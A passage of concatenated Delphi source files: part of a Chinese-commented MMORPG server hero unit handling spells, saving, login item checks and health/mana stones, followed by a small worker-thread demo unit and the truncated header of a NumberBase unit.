zPlugOfEngine.SetHookDoSpell(MagicManager{Self}, TPlayObject(self), UserMagic, nTargetX, nTargetY, BaseObject, boSpellFail, boSpellFire); end; end; m_dwActionTick := GetTickCount();//20080713 m_dwHitTick := GetTickCount();//20080713 m_nSelectMagic := 0; m_boIsUseMagic := True;//是否能躲避 20080714 if boSpellFail then Exit; if boSpellFire then begin //20080111 除4级少技能不发消息 try case UserMagic.MagicInfo.wMagicId of //20080113 除4级少技能不发消息 20080227 修改 13:begin if (UserMagic.btLevel = 4) and (m_nLoyal >=g_Config.nGotoLV4) then //4级火符 20080111 SendRefMsg(RM_MAGICFIRE, 0,MakeWord(UserMagic.MagicInfo.btEffectType,100),MakeLong(nTargetX, nTargetY),Integer(BaseObject),'') else SendRefMsg(RM_MAGICFIRE, 0,MakeWord(UserMagic.MagicInfo.btEffectType, UserMagic.MagicInfo.btEffect), MakeLong(nTargetX, nTargetY),Integer(BaseObject),''); end; 26:; 45:begin if (UserMagic.btLevel = 4) and (m_nLoyal >=g_Config.nGotoLV4) then // 20080227 修改 SendRefMsg(RM_MAGICFIRE, 0,MakeWord(UserMagic.MagicInfo.btEffectType,101),MakeLong(nTargetX, nTargetY),Integer(BaseObject),'') else SendRefMsg(RM_MAGICFIRE, 0,MakeWord(UserMagic.MagicInfo.btEffectType,UserMagic.MagicInfo.btEffect), MakeLong(nTargetX, nTargetY),Integer(BaseObject),''); end; else//0..12,14..25,27..44,46..100://20080324 SendRefMsg(RM_MAGICFIRE, 0,MakeWord(UserMagic.MagicInfo.btEffectType, UserMagic.MagicInfo.btEffect), MakeLong(nTargetX, nTargetY),Integer(BaseObject),''); end;//Case except end; end; if (UserMagic.btLevel < 3) and (boTrain) then begin//技能加修炼点数 if UserMagic.MagicInfo.TrainLevel[UserMagic.btLevel] <= m_Abil.Level then begin TrainSkill(UserMagic, Random(3) + 1); if not CheckMagicLevelup(UserMagic) then begin SendDelayMsg(self, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 1000); end; end; end; Result := True; except on E: Exception do begin MainOutMessage(Format('{异常} THeroObject.DoSpell MagID:%d X:%d Y:%d', [UserMagic.wMagIdx, nTargetX, nTargetY])); end; end; end; procedure THeroObject.MakeSaveRcd(var HumanRcd: THumDataInfo); var I, J, K: Integer; HumData: pTHumData; HumItems: pTHumItems; HumAddItems: pTHumAddItems; BagItems: pTBagItems; HumMagics: pTHumMagics; HumNGMagics: pTHumNGMagics;//20081001 UserMagic: pTUserMagic; nCode: Byte;//20081018 begin nCode:= 0; Try HumanRcd.Header.boIsHero := True; HumData := @HumanRcd.Data; HumData.sChrName := m_sCharName; HumData.sCurMap := m_sMapName; HumData.wCurX := m_nCurrX; HumData.wCurY := m_nCurrY; HumData.btDir := m_btDirection; HumData.btHair := m_btHair; HumData.btSex := m_btGender; HumData.btJob := m_btJob; HumData.nGold := m_nFirDragonPoint;//金币数变量用来保存怒气值 20080419 nCode:= 1; HumData.Abil.Level := m_Abil.Level; HumData.Abil.HP := m_Abil.HP; HumData.Abil.MP := m_Abil.MP; HumData.Abil.MaxHP := m_Abil.MaxHP; HumData.Abil.MaxMP := m_Abil.MaxMP; HumData.Abil.Exp := m_Abil.Exp; HumData.Abil.MaxExp := m_Abil.MaxExp; HumData.Abil.Weight := m_Abil.Weight; HumData.Abil.MaxWeight := m_Abil.MaxWeight; HumData.Abil.WearWeight := m_Abil.WearWeight; HumData.Abil.MaxWearWeight := m_Abil.MaxWearWeight; HumData.Abil.HandWeight := m_Abil.HandWeight; HumData.Abil.MaxHandWeight := m_Abil.MaxHandWeight; nCode:= 2; HumData.Abil.NG := m_Skill69NH;//内功当前内力值 20080930 HumData.Abil.MaxNG := m_Skill69MaxNH;//内力值上限 20081001 nCode:= 3; HumData.n_Reserved:= m_Abil.Alcohol;//酒量 20080622 HumData.n_Reserved1:= m_Abil.MaxAlcohol;//酒量上限 20080622 HumData.n_Reserved2 := m_Abil.WineDrinkValue;//醉酒度 2008623 HumData.btUnKnow2[2] := n_DrinkWineQuality;//饮酒时酒的品质 HumData.UnKnow[4] := n_DrinkWineAlcohol;//饮酒时酒的度数 20080624 HumData.UnKnow[5] := m_btMagBubbleDefenceLevel;//魔法盾等级 20080811 nCode:= 4; HumData.nReserved1:= m_Abil.MedicineValue;//当前药力值 20080623 HumData.nReserved2:= m_Abil.MaxMedicineValue;//药力值上限 20080623 HumData.boReserved3:= n_DrinkWineDrunk;//人是否喝酒醉了 20080627 HumData.nReserved3:= dw_UseMedicineTime;//使用药酒时间,计算长时间没使用药酒 20080623 HumData.n_Reserved3:= n_MedicineLevel;//药力值等级 20080623 HumData.Abil.HP := m_WAbil.HP; HumData.Abil.MP := m_WAbil.MP; HumData.Exp68:= m_Exp68;//酒气护体当前经验 20080925 HumData.MaxExp68:= m_MaxExp68;//酒气护体升级经验 20080925 nCode:= 5; HumData.UnKnow[6] := Integer(m_boTrainingNG);//是否学习过内功 20081002 if m_boTrainingNG then HumData.UnKnow[7] := m_NGLevel//内功等级 20081204 else HumData.UnKnow[7] := 0; HumData.nExpSkill69 := m_ExpSkill69;//内功当前经验 20080930 nCode:= 6; HumData.wStatusTimeArr := m_wStatusTimeArr; nCode:= 13; HumData.sHomeMap := m_sHomeMap; HumData.wHomeX := m_nHomeX; HumData.wHomeY := m_nHomeY; HumData.nPKPOINT := m_nPkPoint; nCode:= 14; HumData.BonusAbil := m_BonusAbil;//20081126 英雄永久属性 HumData.nBonusPoint := m_nBonusPoint; // 08/09 HumData.btCreditPoint := m_btCreditPoint; HumData.btReLevel := m_btReLevel; HumData.nLoyal:= m_nLoyal; //英雄的忠诚度(20080110) nCode:= 15; if m_Master <> nil then HumData.sMasterName := m_Master.m_sCharName;//20081024 加入判断 nCode:= 7; HumData.btAttatckMode := m_btAttatckMode; HumData.btIncHealth := m_nIncHealth; HumData.btIncSpell := m_nIncSpell; HumData.btIncHealing := m_nIncHealing; HumData.btFightZoneDieCount := m_nFightZoneDieCount; //HumData.sAccount := m_sUserID; nCode:= 8; HumData.btEF := n_HeroTpye;//英雄类型 0-白日门英雄 1-卧龙英雄 20080514 HumData.dBodyLuck := m_dBodyLuck; HumData.btLastOutStatus := m_btLastOutStatus; //2006-01-12增加 退出状态 1为死亡退出 HumData.QuestFlag := m_QuestFlag; HumData.boHasHero := False; HumData.boIsHero := True; //20080118 HumData.btStatus := m_btStatus;//保存英雄的状态 20080717 nCode:= 9; HumItems := @HumanRcd.Data.HumItems; HumItems[U_DRESS] := m_UseItems[U_DRESS]; HumItems[U_WEAPON] := m_UseItems[U_WEAPON]; HumItems[U_RIGHTHAND] := m_UseItems[U_RIGHTHAND]; HumItems[U_HELMET] := m_UseItems[U_NECKLACE]; HumItems[U_NECKLACE] := m_UseItems[U_HELMET]; HumItems[U_ARMRINGL] := m_UseItems[U_ARMRINGL]; HumItems[U_ARMRINGR] := m_UseItems[U_ARMRINGR]; HumItems[U_RINGL] := m_UseItems[U_RINGL]; HumItems[U_RINGR] := m_UseItems[U_RINGR]; nCode:= 10; HumAddItems := @HumanRcd.Data.HumAddItems; HumAddItems[U_BUJUK] := m_UseItems[U_BUJUK]; HumAddItems[U_BELT] := m_UseItems[U_BELT]; HumAddItems[U_BOOTS] := m_UseItems[U_BOOTS]; HumAddItems[U_CHARM] := m_UseItems[U_CHARM]; HumAddItems[U_ZHULI] := m_UseItems[U_ZHULI];//20080416 斗笠 nCode:= 11; BagItems := @HumanRcd.Data.BagItems; for I := 0 to m_ItemList.Count - 1 do begin if I >= MAXHEROBAGITEM then Break; if pTUserItem(m_ItemList.Items[I]).wIndex = 0 then Continue;//20080915 ID为0的物品则不保存 BagItems[I] := pTUserItem(m_ItemList.Items[I])^; end; nCode:= 12; HumMagics := @HumanRcd.Data.HumMagics; HumNGMagics:= @HumanRcd.Data.HumNGMagics;//20081001 内功技能 if m_MagicList.Count > 0 then begin J:= 0; K:= 0; for I := 0 to m_MagicList.Count - 1 do begin UserMagic := m_MagicList.Items[I]; if (UserMagic.MagicInfo.sDescr <> '内功') then begin if J >= MAXMAGIC then Continue{Break}; HumMagics[J].wMagIdx := UserMagic.wMagIdx; HumMagics[J].btLevel := UserMagic.btLevel; HumMagics[J].btKey := UserMagic.btKey; HumMagics[J].nTranPoint := UserMagic.nTranPoint; Inc(J); end else begin if K >= MAXMAGIC then Continue{Break}; HumNGMagics[K].wMagIdx := UserMagic.wMagIdx; HumNGMagics[K].btLevel := UserMagic.btLevel; HumNGMagics[K].btKey := UserMagic.btKey; HumNGMagics[K].nTranPoint := UserMagic.nTranPoint; Inc(K); end; end; end; except MainOutMessage('{异常} THeroObject.MakeSaveRcd Code:'+inttostr(nCode)); end; end; //英雄登录 20080320 procedure THeroObject.Login(); var I: Integer; II: Integer; UserItem: pTUserItem; UserItem1: pTUserItem; StdItem: pTStdItem; s14: string; sItem: string; resourcestring sExceptionMsg = '{异常} THeroObject::Login'; begin try //给新人增加新人物品 if m_boNewHuman then begin New(UserItem); if UserEngine.CopyToUserItemFromName(g_Config.sHeroBasicDrug, UserItem) then begin m_ItemList.Add(UserItem); end else Dispose(UserItem); New(UserItem); if UserEngine.CopyToUserItemFromName(g_Config.sHeroWoodenSword, UserItem) then begin m_ItemList.Add(UserItem); end else Dispose(UserItem); New(UserItem); if m_btGender = 0 then sItem := g_Config.sHeroClothsMan else sItem := g_Config.sHeroClothsWoman; if UserEngine.CopyToUserItemFromName(sItem, UserItem) then begin m_ItemList.Add(UserItem); end else Dispose(UserItem); end; //检查背包中的物品是否合法 for I := m_ItemList.Count - 1 downto 0 do begin if m_ItemList.Count <= 0 then Break; UserItem := m_ItemList.Items[I]; //20080813 增加,判断制造ID是否为负数 if (UserEngine.GetStdItemName(UserItem.wIndex) = '') or (UserItem.MakeIndex < 0) or CheckIsOKItem(UserItem, 0) then begin//检查变态物品 20081006 Dispose(pTUserItem(m_ItemList.Items[I])); m_ItemList.Delete(I); end; end; //检查人物身上的物品是否符合使用规则 if g_Config.boCheckUserItemPlace then begin for I := Low(THumanUseItems) to High(THumanUseItems) do begin if m_UseItems[I].wIndex > 0 then begin StdItem := UserEngine.GetStdItem(m_UseItems[I].wIndex); if StdItem <> nil then begin if CheckIsOKItem(@m_UseItems[I], 0) then begin//检查变态物品 20081006 m_UseItems[I].wIndex := 0; Continue; end; if not CheckUserItems(I, StdItem) then begin New(UserItem); FillChar(UserItem^, SizeOf(TUserItem), #0);//20080820 增加 //FillChar(UserItem^.btValue, SizeOf(UserItem^.btValue), 0);//20080820 增加 UserItem^ := m_UseItems[I]; if not AddItemToBag(UserItem) then begin m_ItemList.Insert(0, UserItem); end; m_UseItems[I].wIndex := 0; end; end else m_UseItems[I].wIndex := 0; end; end; end; //检查背包中是否有复制品 for I := m_ItemList.Count - 1 downto 0 do begin if m_ItemList.Count <= 0 then Break; UserItem := m_ItemList.Items[I]; s14 := UserEngine.GetStdItemName(UserItem.wIndex); for II := I - 1 downto 0 do begin UserItem1 := m_ItemList.Items[II]; if (UserEngine.GetStdItemName(UserItem1.wIndex) = s14) and (UserItem.MakeIndex = UserItem1.MakeIndex) then begin m_ItemList.Delete(II); Break; end; end; end; for I := Low(m_dwStatusArrTick) to High(m_dwStatusArrTick) do begin if m_wStatusTimeArr[I] > 0 then m_dwStatusArrTick[I] := GetTickCount(); end; if m_btLastOutStatus = 1 then begin m_WAbil.HP := (m_WAbil.MaxHP div 15)+ 2;//20080404 死亡过的英雄,血要调很低 m_btLastOutStatus := 0; end; {RecalcLevelAbilitys(); RecalcAbilitys(); m_Abil.MaxExp := GetLevelExp(m_Abil.Level);} if (g_ManageNPC <> nil) and (m_Master <> nil) then begin g_ManageNPC.GotoLable(TPlayObject(m_Master), '@HeroLogin', False); end; m_boFixedHideMode := False; except on E: Exception do begin MainOutMessage(sExceptionMsg); end; end; end; //判断道英雄毒符是否用完,提示用户 20080401 //参数 nType 为指定类型 1 为护身符 2 为毒药 nCount 为持久,即数量 Function THeroObject.CheckHeroAmulet(nType: Integer; nCount: Integer):Boolean; var I: Integer; UserItem: pTUserItem; AmuletStdItem: pTStdItem; begin try Result:= False; if m_UseItems[U_ARMRINGL].wIndex > 0 then begin AmuletStdItem := UserEngine.GetStdItem(m_UseItems[U_ARMRINGL].wIndex); if (AmuletStdItem <> nil) and (AmuletStdItem.StdMode = 25) then begin case nType of 1: begin if (AmuletStdItem.Shape = 5) and (Round(m_UseItems[U_ARMRINGL].Dura / 100) >= nCount) then begin Result:= True; Exit; end; end; 2: begin if (AmuletStdItem.Shape <= 2) and (Round(m_UseItems[U_ARMRINGL].Dura / 100) >= nCount) then begin Result:= True; Exit; end; end; end; end; end; if m_UseItems[U_BUJUK].wIndex > 0 then begin AmuletStdItem := UserEngine.GetStdItem(m_UseItems[U_BUJUK].wIndex); if (AmuletStdItem <> nil) and (AmuletStdItem.StdMode = 25) then begin case nType of // 1: begin//符 if (AmuletStdItem.Shape = 5) and (Round(m_UseItems[U_BUJUK].Dura / 100) >= nCount) then begin Result:= True; Exit; end; end; 2: begin//毒 if (AmuletStdItem.Shape <= 2) and (Round(m_UseItems[U_BUJUK].Dura / 100) >= nCount) then begin Result:= True; Exit; end; end; end; end; end; //检测人物包裹是否存在毒,护身符 if m_ItemList.Count > 0 then begin//20080628 for I := 0 to m_ItemList.Count - 1 do begin //人物包裹不为空 UserItem := m_ItemList.Items[I]; AmuletStdItem := UserEngine.GetStdItem(UserItem.wIndex); if (AmuletStdItem <> nil) and (AmuletStdItem.StdMode = 25) then begin case nType of 1: begin if (AmuletStdItem.Shape = 5) and (Round(UserItem.Dura / 100) >= nCount) then begin //20071227 Result:= True; Exit; end; end; 2: begin if (AmuletStdItem.Shape <= 2) and (Round(UserItem.Dura / 100) >= nCount) then begin Result:= True; Exit; end; end; end;//case end; end; end; except on E: Exception do begin MainOutMessage('{异常} THeroObject.CheckHeroAmulet'); end; end; end; //英雄升级触发 20080423 function THeroObject.LevelUpFunc: Boolean; begin Result := False; if (g_FunctionNPC <> nil) and (m_Master <> nil) then begin g_FunctionNPC.GotoLable(TPlayObject(m_Master), '@HeroLevelUp', False); Result := True; end; end; //英雄使用物品触发 20080728 function THeroObject.UseStdmodeFunItem(StdItem: pTStdItem): Boolean; begin Result := False; if (g_FunctionNPC <> nil) and (m_Master <> nil) then begin g_FunctionNPC.GotoLable(TPlayObject(m_Master), '@StdModeFunc' + IntToStr(StdItem.AniCount), False); Result := True; end; end; //客户端设置魔法开关 20080606 procedure THeroObject.ChangeHeroMagicKey(nSkillIdx, nKey: Integer); var I: Integer; UserMagic: pTUserMagic; begin if nKey in [0,1] then begin if m_MagicList.Count > 0 then begin//20080630 for I := 0 to m_MagicList.Count - 1 do begin UserMagic := m_MagicList.Items[I]; if UserMagic.MagicInfo.wMagicId = nSkillIdx then begin UserMagic.btKey := nKey; Break; end; end; end; end; end; //清理背包中复制品 20080901 procedure THeroObject.ClearCopyItem(wIndex, MakeIndex: Integer); var I: Integer; UserItem: pTUserItem; begin Try m_boOperationItemList:= True;//20080928 防止同时操作背包列表时保存 for I := m_ItemList.Count - 1 downto 0 do begin if m_ItemList.Count <= 0 then Break; UserItem := m_ItemList.Items[I]; if (UserItem.wIndex = wIndex) and (UserItem.MakeIndex = MakeIndex) then begin SendDelItems(UserItem); m_ItemList.Delete(I); Break;//20081014 只找到一件则退出,提高效率 end; end; m_boOperationItemList:= False;//20080928 防止同时操作背包列表时保存 except m_boOperationItemList:= False;//20080928 防止同时操作背包列表时保存 MainOutMessage('{异常} THeroObject.ClearCopyItem'); end; end; //气血石功能 20080729 procedure THeroObject.PlaySuperRock; var StdItem: pTStdItem; nTempDura: Integer; begin Try //气血石 魔血石 //20080611 if (not m_boDeath) and (not m_boGhost) and (m_WAbil.HP > 0) then begin if (m_UseItems[U_CHARM].wIndex > 0) and (m_UseItems[U_CHARM].Dura > 0) then begin StdItem := UserEngine.GetStdItem(m_UseItems[U_CHARM].wIndex); if (StdItem <> nil) and (StdItem.Shape > 0) and m_PEnvir.AllowStdItems(StdItem.Name) then begin case StdItem.Shape of 1: begin //气血石 //if m_WAbil.HP <= ((m_WAbil.MaxHP * g_Config.nStartHPRock) div 100) then begin if (m_WAbil.MaxHP - m_WAbil.HP) >= g_Config.nStartHPRock then begin//200081215 改成掉点数启用 if GetTickCount - dwRockAddHPTick > g_Config.nHPRockSpell then begin dwRockAddHPTick:= GetTickCount();//气石加HP间隔 if m_UseItems[U_CHARM].Dura * 10 > g_Config.nHPRockDecDura then begin Inc(m_WAbil.HP, g_Config.nRockAddHP); nTempDura := m_UseItems[U_CHARM].Dura * 10; Dec(nTempDura, g_Config.nHPRockDecDura); m_UseItems[U_CHARM].Dura := Round(nTempDura / 10); if m_UseItems[U_CHARM].Dura > 0 then begin SendMsg(self, RM_HERODURACHANGE, U_CHARM, m_UseItems[U_CHARM].Dura, m_UseItems[U_CHARM].DuraMax, 0, ''); end else begin SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; end else begin Inc(m_WAbil.HP, g_Config.nRockAddHP); m_UseItems[U_CHARM].Dura := 0; SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; if m_WAbil.HP > m_WAbil.MaxHP then m_WAbil.HP := m_WAbil.MaxHP; PlugHealthSpellChanged(); end; end; end; 2: begin //if m_WAbil.MP <= ((m_WAbil.MaxMP * g_Config.nStartMPRock) div 100) then begin if (m_WAbil.MaxMP - m_WAbil.MP) >= g_Config.nStartMPRock then begin//200081215 改成掉点数启用 if GetTickCount - dwRockAddMPTick > g_Config.nMPRockSpell then begin dwRockAddMPTick:= GetTickCount;//气石加MP间隔 if m_UseItems[U_CHARM].Dura * 10 > g_Config.nMPRockDecDura then begin Inc(m_WAbil.MP, g_Config.nRockAddMP); nTempDura := m_UseItems[U_CHARM].Dura * 10; Dec(nTempDura, g_Config.nMPRockDecDura); m_UseItems[U_CHARM].Dura := Round(nTempDura / 10); if m_UseItems[U_CHARM].Dura > 0 then begin SendMsg(self, RM_HERODURACHANGE, U_CHARM, m_UseItems[U_CHARM].Dura, m_UseItems[U_CHARM].DuraMax, 0, ''); end else begin SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; end else begin Inc(m_WAbil.MP, g_Config.nRockAddMP); m_UseItems[U_CHARM].Dura := 0; SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; if m_WAbil.MP > m_WAbil.MaxMP then m_WAbil.MP:= m_WAbil.MaxMP ; PlugHealthSpellChanged(); end; end; end; 3: begin //if m_WAbil.HP <= ((m_WAbil.MaxHP * g_Config.nStartHPMPRock) div 100) then begin if (m_WAbil.MaxHP - m_WAbil.HP ) >= g_Config.nStartHPMPRock then begin//200081215 改成掉点数启用 if GetTickCount - dwRockAddHPTick > g_Config.nHPMPRockSpell then begin dwRockAddHPTick:= GetTickCount;//气石加HP间隔 if m_UseItems[U_CHARM].Dura * 10 > g_Config.nHPMPRockDecDura then begin Inc(m_WAbil.HP, g_Config.nRockAddHPMP); nTempDura := m_UseItems[U_CHARM].Dura * 10; Dec(nTempDura, g_Config.nHPMPRockDecDura); m_UseItems[U_CHARM].Dura := Round(nTempDura / 10); if m_UseItems[U_CHARM].Dura > 0 then begin SendMsg(self, RM_HERODURACHANGE, U_CHARM, m_UseItems[U_CHARM].Dura, m_UseItems[U_CHARM].DuraMax, 0, ''); end else begin SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; end else begin Inc(m_WAbil.HP, g_Config.nRockAddHPMP); m_UseItems[U_CHARM].Dura := 0; SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; if m_WAbil.HP > m_WAbil.MaxHP then m_WAbil.HP := m_WAbil.MaxHP; PlugHealthSpellChanged(); end; end; //====================================================================== //if m_WAbil.MP <= ((m_WAbil.MaxMP * g_Config.nStartHPMPRock) div 100) then begin if (m_WAbil.MaxMP - m_WAbil.MP ) >= g_Config.nStartHPMPRock then begin//200081215 改成掉点数启用 if GetTickCount - dwRockAddMPTick > g_Config.nHPMPRockSpell then begin dwRockAddMPTick:= GetTickCount;//气石加MP间隔 if m_UseItems[U_CHARM].Dura * 10 > g_Config.nHPMPRockDecDura then begin Inc(m_WAbil.MP, g_Config.nRockAddHPMP); nTempDura := m_UseItems[U_CHARM].Dura * 10; Dec(nTempDura, g_Config.nHPMPRockDecDura); m_UseItems[U_CHARM].Dura := Round(nTempDura / 10); if m_UseItems[U_CHARM].Dura > 0 then begin SendMsg(self, RM_HERODURACHANGE, U_CHARM, m_UseItems[U_CHARM].Dura, m_UseItems[U_CHARM].DuraMax, 0, ''); end else begin SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; end else begin Inc(m_WAbil.MP, g_Config.nRockAddHPMP); m_UseItems[U_CHARM].Dura := 0; SendDelItems(@m_UseItems[U_CHARM]); m_UseItems[U_CHARM].wIndex:= 0; end; if m_WAbil.MP > m_WAbil.MaxMP then m_WAbil.MP := m_WAbil.MaxMP; PlugHealthSpellChanged(); end; end; end;//3 begin end; end; end; end; except MainOutMessage('{异常} THeroObject.PlaySuperRock'); end; end; //英雄酒气护体 20080925 function THeroObject.MagMakeHPUp(UserMagic: pTUserMagic): Boolean; function GetSpellPoint(UserMagic: pTUserMagic): Integer; begin Result := UserMagic.MagicInfo.wSpell + UserMagic.MagicInfo.btDefSpell; end; var nSpellPoint, n14: Integer; begin Result := False; nSpellPoint := GetSpellPoint(UserMagic); if nSpellPoint > 0 then begin //if UserMagic.btLevel > 0 then begin if (m_Abil.WineDrinkValue >= Round(m_Abil.MaxAlcohol * g_Config.nMinDrinkValue68 div 100)) then begin if (GetTickCount - m_dwStatusArrTimeOutTick[4] > g_Config.nHPUpTick * 1000) and (m_wStatusArrValue[4] = 0) then begin //时间间隔 if m_WAbil.MP < nSpellPoint then begin SysMsg('MP值不足!!!', c_Red, t_Hint); Exit; end; DamageSpell(nSpellPoint);//减MP值 HealthSpellChanged(); n14:= {UserMagic.btLevel}300 + g_Config.nHPUpUseTime; m_dwStatusArrTimeOutTick[4] := GetTickCount + n14 * 1000;//使用时间 m_wStatusArrValue[4] := UserMagic.btLevel + 1;//提升值 SysMsg('(英雄)生命值瞬间提升, 持续' + IntToStr(n14) + '秒', c_Green, t_Hint); SysMsg('(英雄)酒气护体已经在激活状态', c_Green, t_Hint); RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 SendMsg(self, RM_HEROABILITY, 0, 0, 0, 0, ''); Result := True; end else SysMsg('(英雄)'+g_sOpenShieldOKMsg, c_Red, t_Hint); end else SysMsg('(英雄)醉酒度不低于'+inttostr(g_Config.nMinDrinkValue68)+'%时,才能使用此技能 ', c_Red, t_Hint); //end else SysMsg('等级需达1级以上,才能使用此技能', c_Red, t_Hint); end; end; //内功技能升级 20081003 procedure THeroObject.NGMAGIC_LVEXP(UserMagic: pTUserMagic); begin if (UserMagic <> nil) then begin if (m_btRaceServer = RC_HEROOBJECT) and (UserMagic.btLevel < 3) and (UserMagic.MagicInfo.TrainLevel[UserMagic.btLevel] <= m_NGLevel) then begin TrainSkill(UserMagic, Random(3) + 1); if not CheckMagicLevelup(UserMagic) then begin SendDelayMsg(Self, RM_HEROMAGIC_LVEXP, 0, UserMagic.MagicInfo.wMagicId, UserMagic.btLevel, UserMagic.nTranPoint, '', 3000);//20081219 end; end; end; end; //刷新英雄永久属性能20081126 procedure THeroObject.RecalcAdjusBonus(); procedure AdjustAb(Abil: Byte; Val: Word; var lov, hiv: Word); var Lo, Hi: Byte; I: Integer; begin Lo := LoByte(Abil); Hi := HiByte(Abil); lov := 0; hiv := 0; for I := 1 to Val do begin if Lo + 1 < Hi then begin Inc(Lo); Inc(lov); end else begin Inc(Hi); Inc(hiv); end; end; end; var BonusTick: pTNakedAbility; NakedAbil: pTNakedAbility; adc, amc, asc, aac, amac: Integer; ldc, lmc, lsc, lac, lmac, hdc, hmc, hsc, hac, hmac: Word; begin BonusTick := nil; NakedAbil := nil; case m_btJob of 0: begin BonusTick := @g_Config.BonusAbilofWarr; NakedAbil := @g_Config.NakedAbilofWarr; end; 1: begin BonusTick := @g_Config.BonusAbilofWizard; NakedAbil := @g_Config.NakedAbilofWizard; end; 2: begin BonusTick := @g_Config.BonusAbilofTaos; NakedAbil := @g_Config.NakedAbilofTaos; end; {3: begin//刺客(暂时用战士参数) BonusTick := @g_Config.BonusAbilofWarr; NakedAbil := @g_Config.NakedAbilofWarr; end; } end; adc := m_BonusAbil.DC div BonusTick.DC; amc := m_BonusAbil.MC div BonusTick.MC; asc := m_BonusAbil.SC div BonusTick.SC; aac := m_BonusAbil.AC div BonusTick.AC; amac := m_BonusAbil.MAC div BonusTick.MAC; AdjustAb(NakedAbil.DC, adc, ldc, hdc); AdjustAb(NakedAbil.MC, amc, lmc, hmc); AdjustAb(NakedAbil.SC, asc, lsc, hsc); AdjustAb(NakedAbil.AC, aac, lac, hac); AdjustAb(NakedAbil.MAC, amac, lmac, hmac); //lac := 0; hac := aac; //lmac := 0; hmac := amac; m_WAbil.DC := MakeLong(LoWord(m_WAbil.DC) + ldc, HiWord(m_WAbil.DC) + hdc); m_WAbil.MC := MakeLong(LoWord(m_WAbil.MC) + lmc, HiWord(m_WAbil.MC) + hmc); m_WAbil.SC := MakeLong(LoWord(m_WAbil.SC) + lsc, HiWord(m_WAbil.SC) + hsc); m_WAbil.AC := MakeLong(LoWord(m_WAbil.AC) + lac, HiWord(m_WAbil.AC) + hac); m_WAbil.MAC := MakeLong(LoWord(m_WAbil.MAC) + lmac, HiWord(m_WAbil.MAC) + hmac); m_WAbil.MaxHP := _MIN(High(Word), m_WAbil.MaxHP + m_BonusAbil.HP div BonusTick.HP); m_WAbil.MaxMP := _MIN(High(Word), m_WAbil.MaxMP + m_BonusAbil.MP div BonusTick.MP); //m_btSpeedPoint:=m_btSpeedPoint + m_BonusAbil.Speed div BonusTick.Speed; //m_btHitPoint:=m_btHitPoint + m_BonusAbil.Hit div BonusTick.Hit; end; //检查人物装备死亡物品是否爆 20081127 function THeroObject.CheckItemBindDieNoDrop(UserItem: pTUserItem): Boolean; var I: Integer; ItemBind: pTItemBind; begin Result := False; g_ItemBindDieNoDropName.Lock; try if g_ItemBindDieNoDropName.Count > 0 then begin for I := 0 to g_ItemBindDieNoDropName.Count - 1 do begin ItemBind := g_ItemBindDieNoDropName.Items[I]; if ItemBind <> nil then begin if ItemBind.nItemIdx = UserItem.wIndex then begin if (CompareText(ItemBind.sBindName, m_sCharName) = 0) then Result := True; Exit; end; end; end; end; finally g_ItemBindDieNoDropName.UnLock; end; end; end.
unit WorkerThreads; interface uses SysUtils, //IntToStr StdCtrls, //TMemo Classes, //TThread Math, //RandomRange Services //TServices ; type {$REGION 'TChangeResourceWorkerThread = class(TThread)'} TChangeResourceWorkerThread = class(TThread) public procedure Execute(); override; end; {$ENDREGION} {$REGION 'TWriteResourceToMemoWorkerThread = class(TThread)'} TWriteResourceToMemoWorkerThread = class(TThread) private fResourceField : string; fMemo : TMemo; public constructor Create(memo : TMemo; createSuspended: Boolean); procedure Execute(); override; procedure WriteResourceToMemoWorkerThread(); end; {$ENDREGION} implementation var _SleepCycleInMs: Integer = 1000; {$REGION 'TChangeResourceWorkerThread'} { TChangeResourceWorkerThread } procedure TChangeResourceWorkerThread.Execute; var lResourceValue : string; lRandomInt: Integer; begin //Set the thread to terminate when it's done FreeOnTerminate := true; while not Terminated do begin //Get a random resource value lRandomInt := RandomRange(0, 9999); //Set the resource value to the Thread Id and the random int. lResourceValue := 'Thread Id = ' + IntToStr(Self.ThreadID) + ', Random Int = ' + IntToStr(lRandomInt); //Simulate changing the singleton's resource TServices.Ton().SingletonResource := lResourceValue; //Sleep this thread until next resource change. Sleep(_SleepCycleInMs); end; end; {$ENDREGION} {$REGION 'TWriteResourceToMemoWorkerThread'} { TWriteResourceToMemoWorkerThread } constructor TWriteResourceToMemoWorkerThread.Create(memo: TMemo; createSuspended: Boolean); begin inherited Create(createSuspended); fMemo := memo; end; procedure TWriteResourceToMemoWorkerThread.Execute; var lResourceValue: string; i: Integer; begin FreeOnTerminate := true; while not Terminated do begin lResourceValue := TServices.Ton().SingletonResource; if fResourceField <> lResourceValue then begin fResourceField := lResourceValue; Synchronize(WriteResourceToMemoWorkerThread); end; //offset sleep cycle a little just to mimic out of sync threads. Sleep(_SleepCycleInMs - 100); end; fMemo := nil; end; procedure TWriteResourceToMemoWorkerThread.WriteResourceToMemoWorkerThread; var lLineMsg: string; begin lLineMsg := fResourceField + ', WriteThreadId = ' + IntToStr(self.ThreadID); fMemo.Lines.Add(lLineMsg); end; {$ENDREGION} end.
{ ****************************************************************************** } { * Number Module system, create by.qq600585 * } { ****************************************************************************** } { * https://zpascal.net * } { * https://github.com/PassByYou888/zAI * } { * https://github.com/PassByYou888/ZServer4D * } { * https://github.com/PassByYou888/PascalString * } { * https://github.com/PassByYou888/zRasterization * } { * https://github.com/PassByYou888/CoreCipher * } { * https://github.com/PassByYou888/zSound * } { * https://github.com/PassByYou888/zChinese * } { * https://github.com/PassByYou888/zExpression * } { * https://github.com/PassByYou888/zGameWare * } { * https://github.com/PassByYou888/zAnalysis * } { * https://github.com/PassByYou888/FFMPEG-Header * } { * https://github.com/PassByYou888/zTranslate * } { * https://github.com/PassByYou888/InfiniteIoT * } { * https://github.com/PassByYou888/FastMD5 * } { ****************************************************************************** } unit NumberBase; {$INCLUDE zDefine.inc} interface uses {$IFDEF FPC} 